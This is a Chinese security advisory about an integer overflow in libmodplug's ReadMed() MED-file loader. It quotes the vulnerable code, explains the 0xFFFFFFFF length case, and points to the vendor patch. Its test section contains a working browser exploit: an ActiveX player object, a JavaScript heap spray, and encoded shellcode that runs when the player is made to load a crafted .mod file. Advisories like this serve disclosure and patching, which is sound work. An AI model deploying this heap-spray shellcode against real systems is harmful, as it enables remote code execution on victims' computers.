安全研究
安全漏洞
libmodplug CSoundFile::ReadMed()函数整数溢出漏洞
发布日期:2008-02-25
更新日期:2009-04-22
受影响系统:
libmodplug libmodplug 0.8.4不受影响系统:
libmodplug libmodplug 0.8
libmodplug libmodplug 0.8.6描述:
BUGTRAQ ID: 30801
Libmodplug是用于播放mod类音乐格式的开源函数库。
Libmodplug库的src/load_med.cpp文件中的CSoundFile::ReadMed()函数在加载MED文件时存在可导致堆溢出的整数溢出漏洞,以下是load_med.cpp中的有漏洞代码段:
698 // Song Comments
699 UINT annotxt = bswapBE32(pmex->annotxt);
700 UINT annolen = bswapBE32(pmex->annolen);
701 if ((annotxt) && (annolen) && (annotxt+annolen <= dwMemLength))
702 {
703 m_lpszSongComments = new char[annolen+1];
704 memcpy(m_lpszSongComments, lpStream+annotxt, annolen);
705 m_lpszSongComments[annolen] = 0;
706 }
这是个很典型的整数溢出,annolen为0xFFFFFFFF(即有符号整数-1)时,导致703行new char[0]。这个0字节分配可以成功返回,所以即使703行后加上类似if(m_lpszSongComments){...}的检查代码也无法防范这个漏洞。704行进行memcpy,因为annolen为0xFFFFFFFF,导致了堆溢出,触发内存读写越界异常。
<*来源:dummy (dummy@ph4nt0m.org)
链接:http://secunia.com/advisories/34797/
http://www.15897.com/blog/post/QianQianJingTing-mod-buffer-overflow-POC.html
http://hi.baidu.com/54nop/blog/item/dcf75ef38ae295cf0b46e043.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<OBJECT ID="ttp2" WIDTH="64" HEIGHT="64" CLASSID="CLSID:89AE5F82-410A-4040-9387-68D1144EFD03"></OBJECT>
<script >
var heapSprayToAddress = 0x0c0c0c0c;
var shellcode = unescape("%u0eeb%u4b5b%uc933%uc6b1%u3480%ufe0b%ufae2%u05eb%uede8%uffff%u17ff%ufe5d%ufefe%u94a1%ua7ce%u759a%u75ff%uf2be%u8e75%u53e2%u9675%u75f6%u9409%ua7fc%ubd16%ufefe%u1cfe%u9607%ucccd%ufefe%u8b96%u9b8d%uaa8c%ue801%u166b%ufed0%ufefe%u96ac%u8c91%ufe99%u9a96%u8a91%u96a3%uce8a%ua593%u8e96%uca96%u9690%u9fa5%ua38a%u8896%u9791%u759a%u7322%uf2b8%uadac%uacae%ua801%u01f6%ufaa8%ua8af%u8b75%u75c2%ud08a%ufd86%ua80b%u8875%ufdde%ucd0b%ub737%u53bf%u3bfd%u25cd%u40f1%uc4ee%u8a28%u3ff6%uf935%u24fd%u15be%uc50f%u8be1%ua019%ua075%ufdda%u9823%uf275%u75b5%ue2a0%u23fd%ufa75%ufd75%u553b%ua7a0%u163d%u01a6%u0101%u8acc%uf26f%u779d%ub12f%uf494%ue0c6%u2244%u3845%u44d2%u4f22%u3f57%udf58%u00fe");
var heapBlockSize = 0x100000;
var payLoadSize = shellcode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u0c0c%u0c0c");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x100000)/heapBlockSize;
memory = new Array();
for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + shellcode;
}
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
//ttp.URL="c://test.mod";
//ttp.URL="http://192.168.0.100/test.mod";
//ttp.controls.play();
setTimeout('ttp.URL="c:/test.mod";ttp.controls.play();',1000);
//setTimeout('ttp.openURL("http://192.168.0.100/test.mod");ttp.controls.play();',1000);
</SCRIPT>
http://www.15897.com/blog/post/QianQianJingTing-mod-buffer-overflow-POC.html
建议:
厂商补丁:
libmodplug
----------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://sourceforge.net/project/shownotes.php?release_id=677065&group_id=1275
浏览次数:2295
严重程度:0(网友投票)
绿盟科技给您安全的保障
